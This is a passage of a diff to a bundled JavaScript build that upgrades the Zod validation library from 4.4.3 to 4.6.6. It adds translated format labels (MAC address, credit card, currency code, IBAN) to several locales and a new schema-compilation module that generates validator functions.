"\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -72615,12 +75155,16 @@ var error44 = () => { duration: "\u0442\u0440\u0438\u0432\u0430\u043B\u0456\u0441\u0442\u044C ISO", ipv4: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv4", ipv6: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv6", + mac: "\u0430\u0434\u0440\u0435\u0441\u0430 MAC", cidrv4: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv4", cidrv6: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv6", base64: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64", base64url: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64url", json_string: "\u0440\u044F\u0434\u043E\u043A JSON", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0457 \u043A\u0430\u0440\u0442\u043A\u0438", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u0438", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u0456\u0434\u043D\u0456 \u0434\u0430\u043D\u0456" }; @@ -72688,22 +75232,23 @@ var error44 = () => { }; function uk_default() { return { - localeError: error44() + localeError: error55() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ua.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ua.js function ua_default() { return uk_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ur.js -var error45 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ur.js +var error56 = () => { const Sizable = { string: { unit: "\u062D\u0631\u0648\u0641", verb: "\u06C1\u0648\u0646\u0627" }, file: { unit: "\u0628\u0627\u0626\u0679\u0633", verb: "\u06C1\u0648\u0646\u0627" }, array: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, - set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } + set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, + map: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -72729,12 +75274,16 @@ var error45 = () => { duration: "\u0622\u0626\u06CC \u0627\u06CC\u0633 \u0627\u0648 \u0645\u062F\u062A", ipv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0627\u06CC\u0688\u0631\u06CC\u0633", ipv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0627\u06CC\u0688\u0631\u06CC\u0633", + mac: "\u0627\u06CC\u0645 \u0627\u06D2 \u0633\u06CC \u0627\u06CC\u0688\u0631\u06CC\u0633", cidrv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0631\u06CC\u0646\u062C", cidrv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0631\u06CC\u0646\u062C", base64: "\u0628\u06CC\u0633 64 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", base64url: "\u0628\u06CC\u0633 64 \u06CC\u0648 \u0622\u0631 \u0627\u06CC\u0644 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", json_string: "\u062C\u06D2 \u0627\u06CC\u0633 \u0627\u0648 \u0627\u06CC\u0646 \u0633\u0679\u0631\u0646\u06AF", e164: "\u0627\u06CC 164 \u0646\u0645\u0628\u0631", + credit_card: "\u06A9\u0631\u06CC\u0688\u0679 \u06A9\u0627\u0631\u0688 \u0646\u0645\u0628\u0631", + currency_code: "\u06A9\u0631\u0646\u0633\u06CC \u06A9\u0648\u0688", + iban: "IBAN", jwt: "\u062C\u06D2 \u0688\u0628\u0644\u06CC\u0648 \u0679\u06CC", template_literal: "\u0627\u0646 \u067E\u0679" }; @@ -72804,12 +75353,12 @@ var error45 = () => { }; function ur_default() { return { - localeError: error45() + localeError: error56() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uz.js -var error46 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uz.js +var error57 = () => { const Sizable = { string: { unit: "belgi", verb: "bo\u2018lishi kerak" }, file: { unit: "bayt", verb: "bo\u2018lishi kerak" }, @@ -72848,6 +75397,9 @@ var error46 = () => { base64url: "base64url kodlangan satr", json_string: "JSON satr", e164: "E.164 raqam", + credit_card: "kredit karta raqami", + currency_code: "valyuta kodi", + iban: "IBAN", jwt: "JWT", template_literal: "kirish" }; @@ -72915,17 +75467,18 @@ var error46 = () => { }; function uz_default() { return { - localeError: error46() + localeError: error57() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/vi.js -var error47 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/vi.js +var error58 = () => { const Sizable = { string: { unit: "k\xFD t\u1EF1", verb: "c\xF3" }, file: { unit: "byte", verb: "c\xF3" }, array: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, - set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } + set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, + map: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -72951,12 +75504,16 @@ var error47 = () => { duration: "kho\u1EA3ng th\u1EDDi gian ISO", ipv4: "\u0111\u1ECBa ch\u1EC9 IPv4", ipv6: "\u0111\u1ECBa ch\u1EC9 IPv6", + mac: "\u0111\u1ECBa ch\u1EC9 MAC", cidrv4: "d\u1EA3i IPv4", cidrv6: "d\u1EA3i IPv6", base64: "chu\u1ED7i m\xE3 h\xF3a base64", base64url: "chu\u1ED7i m\xE3 h\xF3a base64url", json_string: "chu\u1ED7i JSON", e164: "s\u1ED1 E.164", + credit_card: "s\u1ED1 th\u1EBB t\xEDn d\u1EE5ng", + currency_code: "m\xE3 ti\u1EC1n t\u1EC7", + iban: "IBAN", jwt: "JWT", template_literal: "\u0111\u1EA7u v\xE0o" }; @@ -73024,17 +75581,18 @@ var error47 = () => { }; function vi_default() { return { - localeError: error47() + localeError: error58() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-CN.js -var error48 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-CN.js +var error59 = () => { const Sizable = { string: { unit: "\u5B57\u7B26", verb: "\u5305\u542B" }, file: { unit: "\u5B57\u8282", verb: "\u5305\u542B" }, array: { unit: "\u9879", verb: "\u5305\u542B" }, - set: { unit: "\u9879", verb: "\u5305\u542B" } + set: { unit: "\u9879", verb: "\u5305\u542B" }, + map: { unit: "\u9879", verb: "\u5305\u542B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -73060,12 +75618,16 @@ var error48 = () => { duration: "ISO\u65F6\u957F", ipv4: "IPv4\u5730\u5740", ipv6: "IPv6\u5730\u5740", + mac: "MAC\u5730\u5740", cidrv4: "IPv4\u7F51\u6BB5", cidrv6: "IPv6\u7F51\u6BB5", base64: "base64\u7F16\u7801\u5B57\u7B26\u4E32", base64url: "base64url\u7F16\u7801\u5B57\u7B26\u4E32", json_string: "JSON\u5B57\u7B26\u4E32", e164: "E.164\u53F7\u7801", + credit_card: "\u4FE1\u7528\u5361\u53F7", + currency_code: "\u8D27\u5E01\u4EE3\u7801", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F93\u5165" }; @@ -73134,17 +75696,18 @@ var error48 = () => { }; function zh_CN_default() { return { - localeError: error48() + localeError: error59() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-TW.js -var error49 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-TW.js +var error60 = () => { const Sizable = { string: { unit: "\u5B57\u5143", verb: "\u64C1\u6709" }, file: { unit: "\u4F4D\u5143\u7D44", verb: "\u64C1\u6709" }, array: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, - set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } + set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, + map: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -73170,12 +75733,16 @@ var error49 = () => { duration: "ISO \u671F\u9593", ipv4: "IPv4 \u4F4D\u5740", ipv6: "IPv6 \u4F4D\u5740", + mac: "MAC \u4F4D\u5740", cidrv4: "IPv4 \u7BC4\u570D", cidrv6: "IPv6 \u7BC4\u570D", base64: "base64 \u7DE8\u78BC\u5B57\u4E32", base64url: "base64url \u7DE8\u78BC\u5B57\u4E32", json_string: "JSON \u5B57\u4E32", e164: "E.164 \u6578\u503C", + credit_card: "\u4FE1\u7528\u5361\u865F", + currency_code: "\u8CA8\u5E63\u4EE3\u78BC", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F38\u5165" }; @@ -73242,17 +75809,18 @@ var error49 = () => { }; function zh_TW_default() { return { - localeError: error49() + localeError: error60() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/yo.js -var error50 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/yo.js +var error61 = () => { const Sizable = { string: { unit: "\xE0mi", verb: "n\xED" }, file: { unit: "bytes", verb: "n\xED" }, array: { unit: "nkan", verb: "n\xED" }, - set: { unit: "nkan", verb: "n\xED" } + set: { unit: "nkan", verb: "n\xED" }, + map: { unit: "nkan", verb: "n\xED" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -73278,12 +75846,16 @@ var error50 = () => { duration: "\xE0k\xF3k\xF2 t\xF3 p\xE9 ISO", ipv4: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv4", ipv6: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv6", + mac: "\xE0d\xEDr\u1EB9\u0301s\xEC MAC", cidrv4: "\xE0gb\xE8gb\xE8 IPv4", cidrv6: "\xE0gb\xE8gb\xE8 IPv6", base64: "\u1ECD\u0300r\u1ECD\u0300 t\xED a k\u1ECD\u0301 n\xED base64", base64url: "\u1ECD\u0300r\u1ECD\u0300 base64url", json_string: "\u1ECD\u0300r\u1ECD\u0300 JSON", e164: "n\u1ECD\u0301mb\xE0 E.164", + credit_card: "n\u1ECDmba kaadi gbese", + currency_code: "koodu ow\xF3", + iban: "IBAN", jwt: "JWT", template_literal: "\u1EB9\u0300r\u1ECD \xECb\xE1w\u1ECDl\xE9" }; @@ -73350,14 +75922,14 @@ var error50 = () => { }; function yo_default() { return { - localeError: error50() + localeError: error61() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/registries.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/registries.js var _a2; -var $output = Symbol("ZodOutput"); -var $input = Symbol("ZodInput"); +var $output = /* @__PURE__ */ Symbol("ZodOutput"); +var $input = /* @__PURE__ */ Symbol("ZodInput"); var $ZodRegistry = class { constructor() { this._map = /* @__PURE__ */ new WeakMap(); @@ -73404,21 +75976,1624 @@ function registry() { (_a2 = globalThis).__zod_globalRegistry ?? (_a2.__zod_globalRegistry = registry()); var globalRegistry = globalThis.__zod_globalRegistry; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/api.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/compile.js +var INVALID = Symbol.for("zod.compile.invalid"); +var FALLBACK_FLAG = Symbol.for("zod.compile.fallback"); +var ZodCompileAsyncError = class extends Error { + constructor(message = "z.compile does not support async refinements, transforms, or checks") { + super(message); + this.name = "ZodCompileAsyncError"; + } +}; +var ZodCompileUnsupportedError = class extends Error { + constructor(feature, islandable = true) { + super(`z.compile does not support ${feature}; this schema must use the runtime parser`); + this.name = "ZodCompileUnsupportedError"; + this.islandable = islandable; + } +}; +function compileValidator(schema, parser) { + try { + return compileFn(schema, { assertOnly: true }); + } catch { + return parser; + } +} +function compile(schema, options) { + try { + const parser = compileFn(schema); + const clone2 = withParser(schema, parser); + clone2._zod.bag.validator = compileValidator(schema, parser); + return clone2; + } catch (err) { + if (options?.strict) + throw err; + return schema; + } +} +function withParser(schema, parser) { + if (isRecursiveSchema(schema)) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const clone2 = clone(schema); + const liveRun = schema._zod.run; + const originalRun = liveRun.__originalRun ?? liveRun; + const wrapped = (payload, ctx) => { + if (ctx?.async || ctx?.direction === "backward" || ctx?.skipChecks || ctx?.[FALLBACK_FLAG]) { + return originalRun(payload, ctx); + } + if (ctx && isBackEdge(ctx, payload.value)) { + return originalRun(payload, ctx); + } + const out = parser(payload.value); + if (out !== INVALID) { + payload.value = out; + return payload; + } + if (ctx) + ctx[FALLBACK_FLAG] = true; + return originalRun(payload, ctx); + }; + wrapped.__originalRun = originalRun; + clone2._zod.bag.fallbackRun = originalRun; + clone2._zod.bag.validator = parser; + clone2._zod.run = wrapped; + if (!liveRun.__originalRun) + installCompiledUserMethods(clone2, schema, parser); + return clone2; +} +function installCompiledUserMethods(target, source, parser) { + const targetAny = target; + const sourceAny = source; + if (typeof sourceAny.safeParse === "function") { + const originalSafeParse = sourceAny.safeParse; + targetAny.safeParse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return { success: true, data: out }; + } + return originalSafeParse(data, params); + }; + } + if (typeof sourceAny.parse === "function") { + const originalParse = sourceAny.parse; + targetAny.parse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return out; + } + return originalParse(data, params); + }; + } +} +function compileFn(schema, options) { + let recursive2 = true; + try { + recursive2 = isRecursiveSchema(schema); + } catch { + } + if (recursive2) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const ctx = { + constants: /* @__PURE__ */ new Map(), + constantCounter: 0, + varCounter: 0, + definite: true + }; + const doc = new Doc(["input"]); + const outputAccessor = generateCheck(doc, ctx, schema, "input", !options?.assertOnly); + doc.write(outputAccessor === null ? `return true;` : `return ${outputAccessor};`); + const constantNames = ["INVALID", ...ctx.constants.keys()]; + const constantValues = [INVALID, ...ctx.constants.values()]; + const code = doc.content.join("\n"); + const fullCode = options?.debug ? constantNames.length > 0 ? `// Constants: ${constantNames.join(", ")} +${code}` : code : ""; + const F = Function; + const factoryCode = `return (input) => { +${code} +}`; + let fn; + try { + const factory = new F(...constantNames, factoryCode); + fn = factory(...constantValues); + } catch (err) { + throw new ZodCompileUnsupportedError(`this schema (generated code failed to evaluate: ${err.message})`); + } + if (options?.debug) { + fn.code = fullCode; + } + fn.definite = ctx.definite; + return fn; +} +function addConstant(ctx, value) { + for (const [name2, v] of ctx.constants) { + if (v === value) + return name2; + } + const name = `c${ctx.constantCounter++}`; + ctx.constants.set(name, value); + return name; +} +function addUserConstant(ctx, fn) { + ctx.definite = false; + return addConstant(ctx, fn); +} +function newVar(ctx) { + return `v${ctx.varCounter++}`; +} +function runtimeRun(schema, value) { + const result = schema._zod.run({ value, issues: [] }, {}); + if (result && typeof result.then === "function") + return INVALID; + const r = result; + return r.issues.length === 0 ? r.value : INVALID; +} +function compileChild(doc, ctx, schema, accessor, needsValue = true) { + const contentLen = doc.content.length; + const constantCount = ctx.constants.size; + const constantCounter = ctx.constantCounter; + const varCounter = ctx.varCounter; + try { + return generateCheck(doc, ctx, schema, accessor, needsValue); + } catch (err) { + if (!(err instanceof ZodCompileUnsupportedError) || !err.islandable) + throw err; + doc.content.length = contentLen; + if (ctx.constants.size > constantCount) { + const trailing = Array.from(ctx.constants.keys()).slice(constantCount); + for (const k of trailing) + ctx.constants.delete(k); + } + ctx.constantCounter = constantCounter; + ctx.varCounter = varCounter; + return emitRuntimeIsland(doc, ctx, schema, accessor); + } +} +function emitRuntimeIsland(doc, ctx, schema, accessor) { + ctx.definite = false; + const schemaConst = addConstant(ctx, schema); + const runConst = addConstant(ctx, runtimeRun); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${runConst}(${schemaConst}, ${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; +} +var WHEN_DEFAULTED_CHECKS = /* @__PURE__ */ new Set([ + "max_size", + "min_size", + "size_equals", + "max_length", + "min_length", + "length_equals" +]); +function generateChecks(doc, ctx, schema, accessor) { + const schemaChecks = schema._zod.def.checks; + if (!schemaChecks || schemaChecks.length === 0) + return accessor; + let currentAccessor = accessor; + for (const check3 of schemaChecks) { + const def = check3._zod.def; + if (def.when && !WHEN_DEFAULTED_CHECKS.has(def.check)) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + switch (def.check) { + case "greater_than": + generateGreaterThanCheck(doc, ctx, def, currentAccessor); + break; + case "less_than": + generateLessThanCheck(doc, ctx, def, currentAccessor); + break; + case "multiple_of": + generateMultipleOfCheck(doc, ctx, def, currentAccessor); + break; + case "number_format": + generateNumberFormatCheck(doc, def, currentAccessor); + break; + case "min_length": { + const min = numericOperand(def.minimum, "min_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${min} && ${currentAccessor}.length < ${def.minimum * 2}`); + doc.write(`if (${len} < ${min}) return INVALID;`); + break; + } + case "max_length": { + const max = numericOperand(def.maximum, "max_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length > ${max}`); + doc.write(`if (${len} > ${max}) return INVALID;`); + break; + } + case "length_equals": { + const exact = numericOperand(def.length, "length_equals"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${exact} && ${currentAccessor}.length <= ${def.length * 2}`); + doc.write(`if (${len} !== ${exact}) return INVALID;`); + break; + } + case "min_size": + doc.write(`if (${currentAccessor}.size < ${numericOperand(def.minimum, "min_size")}) return INVALID;`); + break; + case "max_size": + doc.write(`if (${currentAccessor}.size > ${numericOperand(def.maximum, "max_size")}) return INVALID;`); + break; + case "size_equals": + doc.write(`if (${currentAccessor}.size !== ${numericOperand(def.size, "size_equals")}) return INVALID;`); + break; + case "string_format": + currentAccessor = generateStringFormatCheck(doc, ctx, def, currentAccessor); + break; + case "custom": + currentAccessor = generateCustomRefineCheck(doc, ctx, check3, currentAccessor); + break; + case "bigint_format": + generateBigIntFormatCheck(doc, def, currentAccessor); + break; + case "mime_type": + generateMimeTypeCheck(doc, ctx, def, currentAccessor); + break; + case "property": + generatePropertyCheck(doc, ctx, def, currentAccessor); + break; + case "properties": + generatePropertiesChecks(doc, ctx, def, currentAccessor); + break; + case "overwrite": { + const newAccessor = newVar(ctx); + generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor); + currentAccessor = newAccessor; + break; + } + default: { + throw new ZodCompileUnsupportedError(`check type ${def.check}`); + } + } + } + return currentAccessor; +} +function codePointLengthVar(doc, ctx, accessor, inDoubt) { + const cpLen = addConstant(ctx, codePointLength); + const v = newVar(ctx); + doc.write(`const ${v} = typeof ${accessor} === "string" && ${inDoubt} ? ${cpLen}(${accessor}) : ${accessor}.length;`); + return v; +} +function numericOperand(value, label) { + if (typeof value !== "number" || !Number.isFinite(value)) { + throw new ZodCompileUnsupportedError(`${label} bound of type ${typeof value}`); + } + return `${value}`; +} +function comparisonOperand(ctx, value) { + if (typeof value === "bigint") + return `${value}n`; + if (typeof value === "number") { + if (Number.isNaN(value)) + throw new ZodCompileUnsupportedError("comparison check with NaN bound"); + return `${value}`; + } + if (value instanceof Date) { + if (Number.isNaN(value.getTime())) { + throw new ZodCompileUnsupportedError("comparison check with Invalid Date bound"); + } + return addConstant(ctx, value); + } + throw new ZodCompileUnsupportedError(`comparison check bound of type ${typeof value}`); +} +function generateGreaterThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? "<" : "<="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateLessThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? ">" : ">="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateMultipleOfCheck(doc, ctx, def, accessor) { + if (typeof def.value === "bigint") { + if (def.value === BigInt(0)) + throw new ZodCompileUnsupportedError("multiple_of check with a zero divisor"); + doc.write(`if (${accessor} % ${def.value}n !== 0n) return INVALID;`); + } else { + const remainder = addConstant(ctx, floatSafeRemainder); + doc.write(`if (${remainder}(${accessor}, ${numericOperand(def.value, "multiple_of")}) !== 0) return INVALID;`); + } +} +function generateNumberFormatCheck(doc, def, accessor) { + const format = def.format; + switch (format) { + case "safeint": + doc.write(`if (!Number.isSafeInteger(${accessor})) return INVALID;`); + break; + case "int32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < -2147483648 || ${accessor} > 2147483647) return INVALID;`); + break; + case "uint32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < 0 || ${accessor} > 4294967295) return INVALID;`); + break; + case "float32": + doc.write(`if (!Number.isFinite(${accessor}) || ${accessor} < -3.4028234663852886e38 || ${accessor} > 3.4028234663852886e38) return INVALID;`); + break; + case "float64": + doc.write(`if (!Number.isFinite(${accessor})) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`number format ${format}`); + } + } +} +function generateBigIntFormatCheck(doc, def, accessor) { + const format = def.format; + if (!format) + return; + switch (format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`bigint format ${format}`); + } + } +} +function generateMimeTypeCheck(doc, ctx, def, accessor) { + const mimeTypes = def.mime; + if (mimeTypes && mimeTypes.length > 0) { + const mimeSet = addConstant(ctx, new Set(mimeTypes)); + doc.write(`if (!${mimeSet}.has(${accessor}.type)) return INVALID;`); + } +} +function generatePropertiesChecks(doc, ctx, def, accessor) { + if (def.when) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + doc.write(`if (${accessor} == null) return INVALID;`); + const shape = def.shape; + for (const key of Reflect.ownKeys(shape)) { + const keyExpr = typeof key === "symbol" ? addConstant(ctx, key) : esc(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${keyExpr}];`); + compileChild(doc, ctx, shape[key], inputVar, false); + } +} +function generatePropertyCheck(doc, ctx, def, accessor) { + const propAccessor = `${accessor}[${JSON.stringify(def.property)}]`; + generateCheck(doc, ctx, def.schema, propAccessor); +} +function generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor) { + const tx = check3._zod.def.tx; + if (!tx) { + throw new ZodCompileUnsupportedError("overwrite check without a transform function"); + } + if (isAsyncFunction(tx)) { + throw new ZodCompileAsyncError("z.compile: async overwrite transforms are not supported"); + } + const txConst = addConstant(ctx, tx); + doc.write(`const ${newAccessor} = ${txConst}(${currentAccessor});`); +} +function throwAsync() { + throw new $ZodAsyncError(); +} +function pushIssue(issue2) { + this.issues.push(issue2); +} +function generateCustomRefineCheck(doc, ctx, check3, accessor) { + const def = check3._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async .refine() predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + return accessor; + } + if (check3._zod.check) { + if (isAsyncFunction(check3._zod.check)) { + throw new ZodCompileAsyncError("z.compile: async .superRefine() / check functions are not supported"); + } + const checkFn = check3._zod.check; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = checkFn(fakePayload); + if (result instanceof Promise) + throwAsync(); + return fakePayload.issues.length === 0 ? fakePayload.value : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; + } + throw new ZodCompileUnsupportedError("custom check without a predicate or check function"); +} +var PATTERN_IS_COMPLETE = /* @__PURE__ */ new Set([ + "cidrv4", + "cuid", + "cuid2", + "date", + "datetime", + "duration", + "e164", + "email", + "emoji", + "ends_with", + "guid", + "includes", + "ipv4", + "ksuid", + "lowercase", + "mac", + "nanoid", + "regex", + "starts_with", + "time", + "ulid", + "uppercase", + "uuid", + "xid" +]); +function generateStringFormatCheck(doc, ctx, def, accessor, needsValue = true) { + const fmt = def.format; + if (fmt === "base64") { + const validator = addConstant(ctx, isValidBase64); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "base64url") { + const validator = addConstant(ctx, isValidBase64URL); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "jwt") { + const validator = addConstant(ctx, isValidJWT); + const alg = addConstant(ctx, def.alg ?? null); + doc.write(`if (!${validator}(${accessor}, ${alg})) return INVALID;`); + return accessor; + } + if (fmt === "ipv6") { + const validator = addConstant(ctx, isValidIPv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "cidrv6") { + const validator = addConstant(ctx, isValidCIDRv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "credit_card") { + const validator = addConstant(ctx, isValidCreditCard); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "iban") { + const validator = addConstant(ctx, isValidIBAN); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + const formatDef = def; + if (fmt === "url" || fmt === "httpurl" || formatDef.normalize || formatDef.hostname !== void 0 || formatDef.protocol !== void 0) { + const parseConst = addConstant(ctx, validateURL); + const defConst = addConstant(ctx, def); + const trimVar = newVar(ctx); + const urlVar = newVar(ctx); + doc.write(`const ${trimVar} = ${accessor}.trim();`); + doc.write(`const ${urlVar} = ${parseConst}(${trimVar}, ${defConst});`); + doc.write(`if (typeof ${urlVar} === "number") return INVALID;`); + if (formatDef.hostname !== void 0) { + const hostnameConst = addConstant(ctx, urlHostnameOk); + doc.write(`if (!${hostnameConst}(${urlVar}, ${defConst}.hostname)) return INVALID;`); + } + if (formatDef.protocol !== void 0) { + const protocolConst = addConstant(ctx, urlProtocolOk); + doc.write(`if (!${protocolConst}(${urlVar}, ${defConst}.protocol)) return INVALID;`); + } + if (!needsValue) + return null; + const outputVar = newVar(ctx); + const outputExpr = formatDef.normalize ? `${urlVar}.href` : `${addConstant(ctx, stripTabAndNewline)}(${trimVar})`; + doc.write(`const ${outputVar} = ${outputExpr};`); + return outputVar; + } + const customFn = def.fn; + if (customFn) { + if (isAsyncFunction(customFn)) + throw new ZodCompileUnsupportedError(`async string format ${fmt}`); + const fnConst = addConstant(ctx, customFn); + doc.write(`if (!${fnConst}(${accessor})) return INVALID;`); + return accessor; + } + if (PATTERN_IS_COMPLETE.has(fmt) && def.pattern) { + const patternConst = addConstant(ctx, def.pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + return accessor; + } + const format = def.format; + switch (format) { + case "regex": + throw new ZodCompileUnsupportedError("regex format without a pattern"); + case "lowercase": + doc.write(`if (${accessor} !== ${accessor}.toLowerCase()) return INVALID;`); + break; + case "uppercase": + doc.write(`if (${accessor} !== ${accessor}.toUpperCase()) return INVALID;`); + break; + case "includes": + doc.write(`if (!${accessor}.includes(${esc(def.includes)})) return INVALID;`); + break; + case "starts_with": { + const prefix = def.prefix; + doc.write(`if (${accessor}.slice(0, ${prefix.length}) !== ${esc(prefix)}) return INVALID;`); + break; + } + case "ends_with": { + const suffix = def.suffix; + doc.write(`if (${accessor}.slice(-${suffix.length}) !== ${esc(suffix)}) return INVALID;`); + break; + } + default: { + throw new ZodCompileUnsupportedError(`string format ${format}`); + } + } + return accessor; +} +function generateCheck(doc, ctx, schema, accessor, needsValue = true) { + const def = schema._zod.def; + const type = def.type; + if (def.coerce) { + throw new ZodCompileUnsupportedError(`coercion (z.coerce.${type}())`); + } + const buildsValue = needsValue || !!def.checks?.length; + let typeAccessor; + switch (type) { + case "string": + typeAccessor = generateStringCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "number": + typeAccessor = generateNumberCheck(doc, schema, accessor); + break; + case "boolean": + typeAccessor = generateBooleanCheck(doc, accessor); + break; + case "bigint": + typeAccessor = generateBigIntCheck(doc, schema, accessor); + break; + case "symbol": + typeAccessor = generateSymbolCheck(doc, accessor); + break; + case "undefined": + typeAccessor = generateUndefinedCheck(doc, accessor); + break; 